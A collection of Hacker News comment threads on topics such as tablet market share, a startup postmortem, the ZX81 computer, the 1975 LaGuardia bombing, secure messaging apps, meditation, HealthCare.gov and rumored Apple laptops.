> [http://daringfireball.net/2011/07/ipad_dominance](http://daringfireball.net/2011/07/ipad_dominance)
> There’s an iPad market, and the iPad could be classified as a tablet, from a
> hardware-centric viewpoint. But the market for non-iPad tablets is about as
> big today as it was before the iPad, which isn’t nothing, but it’s close
> enough to nothing that Apple doesn’t need to worry about it.
> [http://www.marco.org/2010/12/31/there-really-isnt-much-
> of-a-...](http://www.marco.org/2010/12/31/there-really-isnt-much-of-a-
> tablet-market)
~~~
badman_ting
Also relevant: the dates of those posts.
~~~
Touche
Those posts were making statements about the future, and both were
unequivocally wrong.
~~~
mamcx
that the tablet market doesn’t _______today_ __ __* look anything like the
smartphone market ever did.
That was correct back then. Also the smartphone market is defined by several
competing platforms, form-factors, tech and capabilities.
The tablet market is defined by the iPad, and the android trying to be the
iPad.
~~~
ZeroGravitas
That claim was only correct in the US, and while Gruber thinks the US system
has unfairly aided Android, it's fairly clear the opposite is true.
~~~
mamcx
Back them truckloads of tablets worldwide was shipped. But all of them were
market failures. Only iPad have traction + mindshare.
BTW: "it's fairly clear the opposite is true." The opposite of what?
~~~
ZeroGravitas
No, they were market failures in the US, they've been doing well in Asia
especially (as have big Android phones), see my link elsewhere in this thread.
This is not particularly unusual, e.g. Xbox vs Playstation sales mix varies by
region. And South Korea, Japan and China are now important markets for Android
games companies.
The "opposite is true" means that it's fairly clear now that the US
subsidization model hides the cost differences between phones, and puts an
effective floor on prices for handsets, which favors iPhones because they are
designed around the American price system.
This effect is much less strong or non-existant elsewhere on the planet and
Android benefits from the ability to compete fairly on price. Android tablets
have followed the same pattern that Android phones followed in these less
distorted markets, though slightly faster since Android phones have already
created a beachhead.
------
alexeisadeski3
How do I square these numbers with the fact that I've only seen two Android
tablets in the field?
~~~
halostatue
I've seen a lot more than that here in Toronto as I'm on transit—but far more
often I see either eInk readers (Kobo, Kindle, rarely Sony) or iPads (mini or
full-size). In the last few weeks, I think I've actually seen more Playbooks
than Android tablets, but that's unusual.
------
programminggeek
Minor point, but from a business perspective, this isn't helping hardware
vendors. They are selling a nearly zero margin product. Apple's taking the
profits, everyone else is fighting for the leftovers, the unprofitable part of
the market.
This is to be expected from the flood of $100 Android tablets, but to be
honest this isn't hurting Apple, this is hurting Microsoft.
Apple has their very profitable segment of the market, Android is taking the
low end, and there just isn't much of a place for Windows tablets.
~~~
wybo
It may not be from a business perspective. But in terms of whether the market
is working its wonders, I'd say it is perfect. Consumers benefit because there
is a lot of fierce competition.
Exactly the way it should be for a hardware product like this.
------
selectodude
Wait, wait. So in a quarter where the newest iPad is 6 months old, there were
less iPads sold than every Android tablet manufacturer in the world combined?
APPLE IS DOOMED
~~~
danmaz74
Apple is far from doomed. But those who were saying that Apple would dominate
the tablet market forever were wrong. PS please don't answer "but look at the
profits". They will come down too, as it's only right in a competitive market.
~~~
aroch
I don't think anyone of note has said Apple will dominate the tablet market
forever.
~~~
scholia
"The iPad didn’t enter the tablet market. It created the tablet market. The
iPad’s role in the tablet market much more closely resembles the iPod’s role
in the digital music player market a decade ago than it does the iPhone’s role
in the 2008 phone market."
[http://daringfireball.net/2011/07/ipad_dominance](http://daringfireball.net/2011/07/ipad_dominance)
It was a popular meme among Apple fanboys a couple of years ago....
------
benihana
Stories like this are interesting me because while sales numbers show Android
doing well, usage numbers from all over the internet seem to indicate that not
many people are actually using their Android tablets, at least not in the
numbers people are using iPads.
And then you read the last paragraph and wonder why you just wasted your time
with this linkbait article.
> _And while Android appears to be making headway against Apple and the iPad,
> the truth is that Apple remains the top selling tablet brand by a huge
> margin. While Apple sold the aforementioned 14.5 million tablets from April
> through June, Samsung was the closest competitor to the Cupertino based
> manufacturer with 8.1 million tablets sold. in the period._
~~~
ZeroGravitas
> usage numbers from all over the internet seem to indicate that not many
> people are actually using their Android tablets
That's not true. US usage figures don't match up with _global_ sales and
people forget there's a big non-US world out there:
[http://www.tech-thoughts.net/2013/08/reality-android-
tablet-...](http://www.tech-thoughts.net/2013/08/reality-android-tablet-usage-
browsing-share-region.html)
Also note that usage is a trailing indicator of sales since previously sold
devices are still in use.
------
melange
This makes the front page whereas google being tried for wiretapping does not.
No pro google bias here. Move along.
~~~
alexeisadeski3
It's an obvious bum wrap...
| {
"pile_set_name": "HackerNews"
} |
A HireVoice postmortem - lessons learned trying to get a startup off the ground - byosko
http://www.etiennegarbugli.com/getting-out-of-recruitment-a-hirevoice-post-mortem/
======
Argorak
Uargs. Who had the idea of having every paragraph leading up to a quote that
has a big "Tweet this"-link next to it? It feels like a kid jumping up and
down, desperately trying to get more attention.
~~~
objclxt
I wouldn't object to it quite so much if it wasn't for the "Tweet This" links
_next to every one_.
~~~
Argorak
Even then, I find the style debatable. I think its overused, with some quotes
only separated by a small sentence. But "tweet this" is definitely the thing
that kills it all.
------
objclxt
> "Bootstrapping a startup when you’re 30 and have a rent to pay is incredibly
> hard"
I think bootstrapping a startup when you have no capital is incredibly hard.
The age you are and whether you're renting or not are merely contributory
factors - imagine if you were paying a _mortgage_ rather than rent...this
could make bootstrapping even harder ( _could_ being the important word here,
before someone corrects me!).
(maybe this is a controversial viewpoint, but I feel Twitter is for 140
character insights, and a blog post is for longer ones. Having _24_ quote
blocks with 'Tweet This' next to it didn't make for a great reading
experience)
~~~
mgkimsal
100% agreed on the age thing. Comments like this just reinforce the stereotype
(myth?) of 20 year olds chasing multimillion dollar lean startup VC IPO
dreams. Many people over 25 start up organizations/companies.
You can look at it as "oh it's so hard, i've got a mortgage!". Or you can look
at it as "Wow, I've got some really good experience in industry X, skills to
sell, and established roots in industry X and my local/regional area to help
me get moving faster!".
There's a few entrepreneurs/startups in our area that I really respect, and
most of them started over 30. One was closer to 40 before he started, and
wasn't really rocking it until 40 or just a bit after I think.
Living at home with your parents, no rent/food to pay would still be hard if
you didn't have enough money for a computer and net connection (assuming
you're trying to work online). Having capital relative to your startup needs
is key - age is immaterial.
------
jwwest
Less than a year and 5 different products? I'm all for validated learning but
it seems like they needed to stick to an idea longer than an average of two
months.
------
austinlyons
> "I had learned that, with half the time you get half the results so, for
> HireVoice, I was all-in, committed to success or, at least, piling up
> debts."
If you look at the author's LinkedIn, you'll see he started another consulting
job after four months working on HireVoice full time. Is this because he
realized the initial idea wasn't going to pay the bills?
I wonder if he would have been better off getting a full-time job first and
iterating on this idea as a side project? It seems like someone who is fully
employed would be more rigorous in choosing which idea to spend their precious
spare time on.
------
breckenedge
What's with all the blockquotes? Made it a bit difficult to read => Sentence
"Blockquote" Sentence "Blockquote".
~~~
zio99
Agreed, make it a bulleted list instead.
1. People
2. Like
3. Lists
------
zio99
>Btw landing pages and mockups don’t create a lot of trust...
Why do you say that?
~~~
unoti
Demos build more trust. Working products even more. Revenue builds more trust
yet. Customers with recognizable names in your target market helps even more.
A long track record of revenue showing the health of the company helps more,
too-- nobody wants to be a customer of a company that's likely to disappear.
It's like the opposite of the saying "nobody got fired for choosing IBM."
------
nollidge
What's with the random words and phrases _italicized_? It didn't even look
like it was for emphasis.
| {
"pile_set_name": "HackerNews"
} |
What's in a Word? - ingve
http://nickdesaulniers.github.io/blog/2016/05/15/whats-in-a-word/
======
ndesaulniers
Hoping for some historical perspectives to pop up. _fingers crossed_
| {
"pile_set_name": "HackerNews"
} |
Wikipedia goes down thanks to cut cables - yread
http://www.bbc.com/news/technology-19148151
======
yread
Quite amazing that a pair of cut cables can bring the wikipedia down...
| {
"pile_set_name": "HackerNews"
} |
ZX81: Small black box of computing desire - Peroni
http://www.bbc.co.uk/news/magazine-12703674
======
athom
Terry Pratchett told us a tale of making a crude vision system out of one of
these. If I recall correctly, he figured out the memory modules were light
sensitive, and if exposed to a focused image, the image could be 'read'
straight from memory. I THINK he mentioned part of this in his speech at
Penguicon 2.0 (Novi, MI -- 2003)... Actually, he DID!!! I just found a
recording of his speech:
[http://www.archive.org/details/Penguicon_2.0_Terry_Pratchett...](http://www.archive.org/details/Penguicon_2.0_Terry_Pratchett_Guest_of_Honor_Speech_2003)
He starts talking about playing with the ZX-81 about two and a half minutes
in, and at a little after five minutes, starts talking about making one "that
can see things." This so impressed fellow guest Eric S. Raymond, that he came
charging out of the banquet hall after the speeches to demand to hear more!
I had something of a front row seat to this conversation, as I'd already
approached Mr. Pratchett to ask about how he'd wound up too radioactive to
_enter_ a nuclear facility (also mentioned in the speech, but kind of glossed
over). So there I am on the inside of a crowd of onlookers as Terry's
elaborating on the radiation story, with a flabbergasted ESR staring in
disbelief, and each of us standing not much more than a meter from each other.
It was... an interesting experience.
I do wholeheartedly recommend that speech. Terry Pratchett is every bit as
funny at the podium as he is on paper. He had us rolling!
------
6ren
Boast: after writing a character scroll (trivial, just a block memory move -
one Z80 instruction, _LDIR_ ), I worked out how to do one using the quarter-
character "pixels", the heart of which was three bitwise boolean instructions.
I was delighted to later see in the source code for the ZX81 basic (by Steve
Vickers), that the line drawing routines using those pixels used identical
instructions.
Boast: at 15, I wrote a game for the ZX81 (in machine code), that had many
simultaneous sprites, all animated at once; a tiled scrolled background; a
massive ship explosion; and even different keyboard control selections. I
showed it to a game retailer, and they agreed to stock it! All I needed to do
was supply them with cassettes + covers...
Shame: I didn't do this.
A good effect was then when I next was running a business, I resolved to not
cop out on the difficult things (read: boring). It's important to recognize
mistakes as choices (and not things beyond your control, such as intrinsic
inability, "I can't"), because then you have the power to choose otherwise.
------
mrspeaker
"Micro Men" is a new (I think) comedy from the BBC about Clive Sinclair
<http://www.bbc.co.uk/programmes/b00n5b92> The clips (needs proxy) look
hilarious - in a very weird, slow, dark, english-humour kind of way!
~~~
rwmj
It's more dramatic comedy than factual. On the other hand it is very
entertaining and well worth watching if you can get your hands on a copy.
(Also has Martin Freeman of The Office fame, and Alexander Armstrong who is a
well-known British comedian).
~~~
sambeau
While they compressed some events and characters nothing was made up. The
'Battle of the Baron of the Beef' (Where Clive Sinclair started a brawl with
Chris Curry) is a real event (and one well known to people in the Cambridge IT
industry).
Look out for a guest appearance by Sophie Wilson (previously Roger Wilson) as
the barmaid.
------
kingofspain
1K of RAM if you were a sucker :) My dad brought his home with the massive 16k
expansion brick. Playing with this (my first computer) and waiting for a game
called Rings Around Saturn to load was literally the most futuristic-feeling
experience of my life.
I remember nothing about the game itself, other than the kind of wistful
enchantment that so few things in life can inspire.
Where did it all go wrong?!
~~~
Isofarro
"Rings Around Saturn"
Interesting, haven't heard of it.
[http://www.zx81stuff.org.uk/zx81/generated/tapeinfo/s/SuperP...](http://www.zx81stuff.org.uk/zx81/generated/tapeinfo/s/SuperPrograms2.html)
\-- Listing and play it online.
~~~
kingofspain
Didn't even occur to me to look for it. Thanks for that!
Looks even simpler than I expected. I was looking for an idea for a simple iOS
game to get started. This may be it :)
------
lkozma
In most Eastern European countries (and in parts of South America, I heard)
whole industries grew out of building clones of these machines, usually with a
bit more memory but otherwise similar specs. I started programming on one of
these when I was 9: [http://www.old-
computers.com/museum/computer.asp?c=632&s...](http://www.old-
computers.com/museum/computer.asp?c=632&st=1)
------
bootload
_"... The Sinclair ZX81 was small, black with only 1K of memory ..."_
It was also small, white with 1k of memory if you bought the 8K ROM upgrade
chip (which I still have somewhere) for the zx80 ~
[http://www.flickr.com/photos/bootload/sets/72157607718005837...](http://www.flickr.com/photos/bootload/sets/72157607718005837/with/268165912/)
------
patrickod
It's articles like these that make me wish I was old enough to have
experienced computers before they became "fast". It was these machines that
formed the thinking of many of our greatest coders today and I can't relate to
that as I'm too young. Oh well
~~~
GeneralMaximus
You can still write code that stretches a modern machine to its limits. For
example, can you make a realtime raytracer? Can you crunch through 13GB of
StackOverflow data and extract useful statistics? Can you write an interpreter
for a subset of your favorite language? Can you make it fast enough? Can you
add a JIT? Can you take a genetic algorithm that takes hours to run and get
the time down to a few minutes? Can you write a multi-agent simulation that
will scale from ten to ten thousand agents on a MacBook Pro?
Nope. Computers aren't fast enough yet :p
~~~
slug
You can do all that, but programming one of these old computers or a modern
micro controller allows you to almost see the bits and bytes flowing (if you
program in asm).
Nowadays it's even hard to know how a pixel got to the monitor from your RAM
in the first place, with the massive amount of knowledge needed and countless
layers in between.
Just the datasheet of a memory controller is many times longer than the few
pages needed for the asm instruction set and simple schematics of those times.
Not to mention the M or G number of transistors on modern chips :)
~~~
GeneralMaximus
I can't argue with that. I've personally tried to write a toy OS on the x86
architecture. The amount of processor documentation you have to get through is
mind boggling, after which you're still left with documentation for the
plethora of peripheral device. I view this as a failure of the PC
architecture. There's no reason for things to be so complex.
OTOH, I know a few folks who work with all kinds of micros. Once these folks
were trying to interface a SD card reader with a tiny LCD screen that had an
onboard processor. They had ( _had to have_ , in fact) low-level access to the
card reader. You had to know the ins and outs of whatever filesystem the SD
card was formatted with because you only had raw access to the card. As in,
you could go to an address on the card and do something to the bytes stored
there, and that's it. After diddling the card reader interface for a while,
they eventually figured out how to get data on the card, but there was a
problem: sometimes the card reader wouldn't write the data to the card at all.
After trying to pinpoint and fix the issue in code, an entire night of hacking
later, the problem turned out to be a faulty power adapter.
It was a fun night. One that a "modern" computer couldn't afford you.
------
ianpurton
This was back in the day when programmers were real men and pixels were as big
as your fist.
~~~
rayboyd
Don't know about real men, I was just hitting 8 when I finally got my hands on
a hand-me-down zx81.
~~~
Uchikoma
Me neither, real man, I was around 9 when I got hands on a VC20.
------
Keyframe
Interestingly enough, I did this a few days ago for a project.
<http://www.vga.hr/pr/intro.mov> (22MBs - and this was an early WIP tests,
fonts aren't properly aligned, missing scanlines and stuff)
| {
"pile_set_name": "HackerNews"
} |
The 1975 LaGuardia Airport Bombing - monort
http://observer.com/2016/01/why-hasnt-washington-explained-the-1975-laguardia-airport-bombing/
======
golergka
Why do people classify this as terrorism? "Terrorism" is usually understood as
violence where intended targets are not those killed, but mainly those who
watch the news and shiver in fear. And to drive point home, terrorists usually
explicitly explain, why do they want people to be afraid of them, and what do
they want. Nothing like this happened in this case; so — why "terrorism" label
in the first place?
~~~
readymade
Here's another "fun" example. Some of our early uses of the term were to
describe the KKK, which was and remains a terrorist organization par
excellence. Except that the clandestine nature of the group, and thus the need
for its members to lead superficially normal lives within the community, does
not lend itself to claiming responsibility for attacks in the sense we
associate with jihadist organizations. A classic example is the 16th Street
Baptist Church bombing in 1963, which was perpetrated. The communities
targeted by Klan members don't need to know exactly who was responsible for
the violence to have its intended effect.
~~~
golergka
> The communities targeted by Klan members don't need to know exactly who was
> responsible for the violence to have its intended effect.
Hm, you're right. So — the point is not to claim the responsibility, but to
make sure that everyone knows what political message is there behind the
violence. Which is still not something that applies in LaGuardia case.
------
kw71
It sure seems like the FBI has protected criminals in the past when they had
the potential to give the Bureau information about other criminals. These
suspicions were also raised in the Whitey Bulger case. I believe that this
kind of behavior, from persons who are sworn to enforce the laws, is
malfeasant and unacceptable.
~~~
Wingman4l7
The prosecution of the many outweighs the justice for the few?
------
zeveb
> OTPOR did nothing to end Communism in Yugoslavia, but did succeed in tarring
> the Croatian cause with fanaticism, terrorism and murder.
I've always that that the Ustaše[1] did a pretty good job of tarring the
Croatian cause.
[1]
[https://en.wikipedia.org/wiki/Usta%C5%A1e](https://en.wikipedia.org/wiki/Usta%C5%A1e)
------
petethomas
You can hear the relevant CBS Evening News radio update at the beginning of
this mp3, and again at the end (~1h:00m:41s in):
[http://cbsrmt.thelongtrek.com/pp/CBSRMT%20-%20751229%200404%...](http://cbsrmt.thelongtrek.com/pp/CBSRMT%20-%20751229%200404%20The%20Memory%20Killers_pp.mp3)
Edit:spelling
------
Grishnakh
They need to just shut down the LaGuardia airport and sell the land off for
development. It's silly to have 3 airports that close together, creating the
busiest airspace in the US, especially when LGA is such a small (and old and
crappy) airport anyway. Shut it down, expand service at Newark and JFK, and
then improve the mass-transit service to both of those so people don't need to
spend a bunch of money on stupid cabs just to get in or out of NYC by air.
~~~
krschultz
I'm with you that LGA is crappy, but it's not that small. It's the 20th
busiest airport in the United States, and handles 23% of the total NYC air
traffic. Neither EWR nor JFK have enough spare capacity to pickup that slack.
[https://en.wikipedia.org/wiki/List_of_the_busiest_airports_i...](https://en.wikipedia.org/wiki/List_of_the_busiest_airports_in_the_United_States)
~~~
Grishnakh
Well in that case, they should expand the other two. Things would probably be
a lot more efficient in that airspace too after downsizing to only two
airports.
~~~
mikeash
If you end up with the same amount of traffic as before, just at two airports
instead of three, how does it make the airspace more efficient?
~~~
Grishnakh
Better centralization. Having three control towers having to coordinate
traffic between them is more chaotic than two or one. And it's more orderly to
have planes coming in to fewer sets of runways.
~~~
mikeash
Having TRACON work with three towers instead of two doesn't sound any more
difficult. I thought that the towers mostly just took already-sequenced
traffic from TRACON and landed them, and handed departing traffic off to
TRACON once they left the runway. As for fewer sets of runways, that sounds
harder to me, not easier, since you have more traffic coming into the airport
and that traffic has to be sequenced and deconflicted with all the other
traffic coming into that particular airport.
I could be wrong on this, my interactions with ATC are limited to occasionally
listening to DCA tower while watching the planes land, and every so often
being the point of contact to call the local TRACON to notify them of our
glider operations.
~~~
Grishnakh
Fewer sets of runways seems like it should be easier, because the runways can
be set up to be parallel to each other, so planes can all come in on the same
approach and land in parallel. That's how they do it in Phoenix, with three
parallel runways.
With more airports, you have planes all going different directions instead.
Besides, it seems like it'd be better to push some of that air traffic away
from the city center, and free up some extremely valuable real estate. If
they'd put in some better public transit to those two airports, people would
be able to get in and out of the city a lot faster. Why can't they build
actual subway lines to them anyway, instead of having to make slow and crappy,
special trains to them which aren't on the main lines and then require time-
consuming transfers?
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Any HN recommentadion for secure and private instant messaging? - lemonjohn
I know, there was already a plenty related topics.
Telegram is hated everywhere, WhatsApp is not that bad, but still not good enough. Signal is promising, but lacks of desktop client -- Chrome app is likely a temporary solution and still, Android smartphone is required in order to use it. Tox probably is not worth mentioning now.<p>So, is there any alternative nowadays? Especially ones that does not require zomg smartphones other than XMPP+OTR combination?
Nice to have Linux or web client.<p>Don't want to start a flame war or something.
======
pknight
Wire is cross platform and works quite well. Since using it I've noticed
steady improvements. I do notice that messaging apps take up quite a bit of
battery on mobile.
------
pcvarmint
Linphone is the one I use. It has clients for all major OSes.
There's also Jitsi and Pidgin, but I haven't tried them lately.
~~~
lemonjohn
With Pidgin you can use many protocols, including ICQ or almost forgotten XMPP
that's still not that bad choice (in combination with OTR). Aim of this
discussion is which protocol gives the best chances for secure and private
communication with E2EE.
Would be cool to see Web client for Signal that do not depends on Android app.
------
serje
Also if you like privacy you shold try BBM(blackberry messenger) also if you
doubt about the privacy of BBM check this link
[https://www.theguardian.com/media/2011/aug/08/london-
riots-f...](https://www.theguardian.com/media/2011/aug/08/london-riots-
facebook-twitter-blackberry)
[https://www.theguardian.com/technology/2015/jul/27/pakistan-...](https://www.theguardian.com/technology/2015/jul/27/pakistan-
bans-blackberry-messaging-internet-services-privacy-crackdown)
[http://thenextweb.com/me/2010/08/28/5-countries-that-will-
or...](http://thenextweb.com/me/2010/08/28/5-countries-that-will-or-have-
banned-blackberry/#gref)
you can install it on android, iOS even on desktop with some android emulator
~~~
runjake
Two of the articles you linked to are from 2011 or prior. Since then, it's
been demonstrated that BBM can be intercepted.
Just a couple weeks ago, a Blackberry executive publicly criticized Apple for
not assisting law enforcement when it came to mobile device security.
And if that isn't enough to cause you concern, Blackberry is in big trouble.
Who's going to buy them? What are they going to do with all that data?
~~~
lemonjohn
That's why I'm looking for IM with E2EE enabled by default. So I use OTR but
not many want to play with sharing secrets, question and answers or any other
method of authentication, not mentioning fingerprint verification.
------
tedmiston
Have you looked at Cyber Dust? It was created by Mark Cuban for secure
communications after having his email messages taken out of context in court.
They have mobile apps, not sure if desktop clients exist yet.
~~~
lemonjohn
Is there any web client? As far as I can see it is only available on Android
and iOS. Unfortunately I don't use any of them.
~~~
tedmiston
It does not seem like there is a web client yet.
------
serje
how about slack? a lot of people are using it
| {
"pile_set_name": "HackerNews"
} |
The Design Ego - chefsurfing
http://www.zethussuen.com/the-design-ego
======
zethus
Thanks for linking this! There's some discussion on the bottom of the post as
well as on DN: <https://news.layervault.com/stories/2070-the-design-ego>
------
rkuykendall-com
Written in Obtvse ( style copied from Svbtle ) for dramatic effect?
| {
"pile_set_name": "HackerNews"
} |
jQuery plugin for data visualization on vector maps - jvectormap.owl-hollow.net - bjornd
Any comments, suggestions?
======
eptil
What would it take to add lines and points to the supported types and make
them clickable with perhaps a fudge factor radius?
~~~
bjornd
Not really difficult I think, micro-framework for vector graphic painting is
included to the library already. Only API need to be added. I have plans to
include such functionality to the next version.
~~~
eptil
Depending on performance, this could be made into a very decent GIS viewer.
You could even go so far as to do layer menus and draw ordering. Labeling
might be really expensive though.
------
tilt
Clickable <http://jvectormap.owl-hollow.net/>
~~~
bjornd
Thanks
| {
"pile_set_name": "HackerNews"
} |
An Atheist's Glimpse of God - lut4rp
http://blog.deobald.ca/2013/02/an-atheists-glimpse-of-god.html
======
btilly
Disclaimers. I am also an atheist. I took this exact meditation course 20+
years ago and know people who have followed it for decades. I am not so
enthralled.
The meditation itself is fine. However the problem is in the tapes. Goenka is
not just trying to teach people to meditate, he's trying to teach a particular
religious philosophy. He doesn't want you to just be aware of your body, he
wants you to pay attention to how things arise and pass away, and from that
conclude that all attachment is bad because you will feel grief when it
passes. This ties into Buddhist philosophy.
To me the problem with this philosophy can be summed up by, _'Tis better to
have loved and lost, than never to have loved at all.'_ I was fascinated by
the experience, but receiving indoctrination while I was in such a delicate
state was not to my liking.
~~~
Florin_Andrei
As things are right now, any meditation technique worth the effort is coming
from one or another religious background. So there is going to be some
infusion of dogmatic elements into it. At least some schools are honest about
it and tell you to feel free and ignore the mythology and focus on the
psychological work.
I practice a different meditation system, and they have their own dogma
attached to it. I found that whether I "believe" in it or not is irrelevant.
Meditation itself is far too fascinating to get distracted with extras.
Another way to look at it is that some dogmatic aspects may not represent
literal truths, but are metaphors for certain psychological aspects occurring
in meditation or as an effect of it. This appears to be a very appropriate
interpretation for many pantheons - heck, even the Greek gods are quite
obviously representations of states of consciousness and functions of the
mind, and the ancient greeks were not exactly famous for their meditation
techniques.
~~~
nimblegorilla
I've been doing transcendental meditation. I imagine its roots are from a
"religious background", but I don't feel like there are any religious
elements. There are only a few dogmatic rules such as don't eat 2 hours
before/after meditating.
~~~
macknowledge
There is a recommendation to wait a while after eating until the main
digestion is completed before meditating. But there is no recommendation to
wait any time after meditating before eating.
------
EvilTerran
Very interesting. Incidentally, I do like:
_Ninety percent of Maslow's pyramid has been taken care of for as long as I
could remember, leaving me to arrogantly believe it's my responsibility to
improve this world_
\-- that resembles a feeling that often brings me angst, but I always struggle
to put into words.
~~~
javert
Disclaimer: I haven't actually read Maslow's original work.
Looking at Maslow's pyramid, way more than 10% of it has to do with very
abstract stuff. Given what the author has written, he almost by definition
hasn't achieved "self-actualization" in the sense Maslow means. He almost by
definition hasn't achieved 90% of the pyramid.
Only a small part of the pyramid has to do with food, shelter, clothing, and
having people to socialize with.
------
geon
I like to run once a week or so. It helps me shed a lot of stress, and is
supposed to be good for me.
At first I hated it. But then I began bringing my iPhone and listen to music.
I mostly listen to electronic dance music, but there was a specific genre that
I found worked well for runnig; Trance.
There is one "song" that illustrates this very well. It is 9.5 minutes of very
monotonous, slowly building "umm-tss".
[http://www.youtube.com/watch?feature=player_detailpage&v...](http://www.youtube.com/watch?feature=player_detailpage&v=yOJsjyq_GsE#t=26s)
There is a reason for that name. I found that this music, in combination with
the deep breathing in coordination with my steps sort of lets me enter a state
of trance. I can empty my mind and just _be_. Stress over deadlines and
finances - and even stress over being stressed - pretty much are gone when I
get back home.
------
jdietrich
Sensory deprivation is known to cause hallucinations, often within a matter of
minutes. People are primed to believe that sensory deprivation in the form of
meditation provides profound insights, so they do. If you force a prisoner to
sit still for several hours in a silent room as punishment, they perceive it
to be a dreadful torture.
It's mystical nonsense. "I did a thing that made me feel better" is a
perfectly legitimate statement. "I did a thing and believe it to be deeply
profound and meaningful in ways I cannot articulate" really isn't the sort of
thing we usually countenance on HN, because it's a line of thinking that we
recognise to be dangerous.
For various cultural reasons, mainly ignorance, rationalists are unusually
tolerant of Buddhist nonsense, often believing it to be essentially benign. If
you know anything of the history of south-east Asia, you will know how foolish
that error is. I rather doubt that a post extolling the virtues of Islamic or
Christian monasticism with such breathless naivete would have garnered so many
upvotes.
------
kalmar
Tip for the impatient: click 'Start' multiple times for a shorter ten minutes.
------
jeremyarussell
Meditation is one of the things that most people should do, it enlightens you
as to your faults, bringing them to light so that you may change yourself for
the better. It's also nothing to do with making you superior to other
people(if it is you have other issues that won't work themselves out until you
learn some empathy.)
------
gee_totes
For those of you looking for a place to go on a similar 10 day retreat, there
is:
Northwest Vipassana Center (PNW Region, I've heard really good things about
this one from friends who have done the program)
<http://www.kunja.dhamma.org/>
Dhamma Manda (Near SF) <http://www.manda.dhamma.org/>
The closest one to NYC I can find is in Mass:
<http://www.dhara.dhamma.org/ns/>
For more info on locations near you:
<http://courses.dhamma.org/en/maps/001>
------
vlokshin
I hate to be "that guy", but clicking your timer more than once seems to be
cutting the intervals down each time (ex: click it 10 times, and it goes crazy
fast).
I only say this because I love that you actually went ahead and embedded a
timer in your post -- knowing that the process of reading and absorbing the
content was just as important, if not more important, than the content itself.
Regardless, great post.
------
dsowers
I enjoyed your article. Thanks. Makes me want to try meditation again. (I've
attempted it a few times)
------
f1codz
Thanks for sharing this amazing experience. I have been wanting to do this
same very course myself.
Even today evening I was thinking of just this.
Your experience has inspired me even more. I believe i must stop thinking and
just plan go at the next best available free time.
------
lotsofcows
Basic brain washing routine. You want a religion. Just pick one. Stop trying
to convince yourself you're rational. You're a human being: you're not
rational. Irritating post. Why the hell did I read this?
------
hnriot
Self contradictory title. Once again we're mixing up chemical imbalances
(however induced) with this notion of a Creator. If there really is this God
thing, then do you really think they give a damn about you sitting on hot
rocks? If you do, then you've really missed the point of it all. If you don't
then you'll quickly realize you're just wasting your time, the most precious
resource you have.
~~~
Florin_Andrei
Not all speech is literal.
I find myself making this admonition over and over again, when speaking to
folks in the computer industry. Occupational hazard, I guess.
~~~
hnriot
even if you read it metaphorically, it makes the same amount of sense.
~~~
Florin_Andrei
to you.
------
agentultra
So you sat on some stones under extreme physical duress. Congratulations. Your
puny mammalian brain acted in a manner dysfunctional from its normal operating
environment. Now you can go to parties and feel even more superior to your
friends. They won't get it of course because there's no way for you to
accurately explain it to them.
~~~
SageRaven
Why so dismissive? Religious or feel-good benefits aside from the 100-hour
regimen, the guys deserves kudos merely for sticking with the exercise to its
conclusion. Even without the discomfort, sitting/standing/whatever for 10
hours a day doing _nothing_ physically takes some dedication.
I find his experience amazing on so many levels, and I am gracious for such a
intimate account of that experience (I read the full-on article he
references).
~~~
hnriot
* the guys deserves kudos merely for sticking with the exercise to its conclusion
why? If I pierce my scrotum a hundred times should I get kudos? No of course
not, just doing something uncomfortable for no reason isn't admirable.
Meditation is great for some people, and a total waste of time for others.
Each to their own, but let's not pat anyone on the back for it.
~~~
gee_totes
I would totally give you kudos for piercing your scrotum a hundred times. From
the people I know in the body modification community, genital modification can
be a very spiritual experience.
Also, think of the crazy rush that you would get from the first piercing, when
your body is changed forever, till the end of the hundred-piercing ritual.
That would absolutely be something worth blogging about.
| {
"pile_set_name": "HackerNews"
} |
Obamacare bombshell: IT official says HealthCare.gov needs payment feature - codegeek
http://www.cnbc.com/id/101211556
======
hga
The big problem is that while they do have some time to get these payment
features working, individual subsidies and, reinsurance, really, of insurers
who get out of wack risk pools, how long will it be before these systems
_really_ work? With proper, traceable payments?
The individual subsidies are much more complicated than one may realize. They
should only be paid for people who are really enrolled, but determining that
can be very difficult when a monthly payment from the consumer doesn't come
in, or for the right amount (they get the weirdest things as you might
imagine). Was that a mistake? Or is the consumer dropping the policy without
giving notice? Etc.
To the extent these back end systems constitute 30-40% of the system ... well,
that suggests how difficult the tasks really are. Or how uncomplicated the
customer facing stuff is, if it weren't for incompetent management by
political types and government bureaucrats with no experience doing big IT
projects or being the integrator of such a project, and the usual issues with
contracting, and government contracting.
And this spin is fatuous:
" _A set of software bugs on HealthCare.gov had, for more than six weeks,
prevented individual insurance company websites and web brokers including
ehealthinsurance.com, getinsured.com and GoHealthInsurance.com from
interfacing with the federal site to verify enrollee 's subsidy eligibility._"
_Everyone_ has said that this was a very low priority; I doubt it would be
available now if Healthcare.gov and so many state sites weren't in such poor
shape.
| {
"pile_set_name": "HackerNews"
} |
New Apple Laptops Due Next Week: A Rumor Recap and a Poll - technologizer
http://technologizer.com/2008/10/09/new-apple-portables-due-next-week-a-rumor-recap/
======
caudicus
I remember watching a call with someone from Dell on CNBC during the last US
recession (2001 recession and "jobless recovery" the following couple of
years). He said that Dell was basically going to cut prices like crazy and
actually lose some money in order to gain market share during the down time so
they could capitalize on it when the economy swings back up again.
I wonder if Apple has something like this in store in terms of the "cheaper
laptop" rumor. We're (sort of) already seeing this with the iPhones.
("Cheaper" but higher monthly rates which nullify the savings in the long
run.)
~~~
iigs
I too am keenly interested in seeing how Apple works the premium product angle
in response to the netbook segment. It's pretty obvious that they're going to
have to do something, but exactly what doesn't seem obvious.
~~~
whatusername
You don't see the iphone as _almost_ a competitor in this space?
Basic typing, myspace, facebook, emails, flickr, youtube... That's retty much
what a netbook is used for isn't it?
~~~
iigs
Sort of... Honestly I don't have a particularly charitable opinion of the
iPhone: you can't touch type on it, which makes it effectively consume-only
for email, and it's also consume-only for video (and recorded audio for that
matter).
The iPhone is a shot across the bow for Blackberry and Windows Mobile, in my
opinion. Always present, capable of doing text composition in a pinch, and a
pacifier or Game Boy for (near-)adults.
I believe that the netbook segment represents the future of notebook
computing, in that they're for task oriented ("I'm sitting down to write a
chapter of a novel at the coffee shop", or "I'm checking up on my myspace and
facebook accounts"; contrast with "I'm bored and have a second and would like
to see if someone responded to me on facebook" in the mobile case) use.
They're big enough to touch type on, and they generally can accept USB
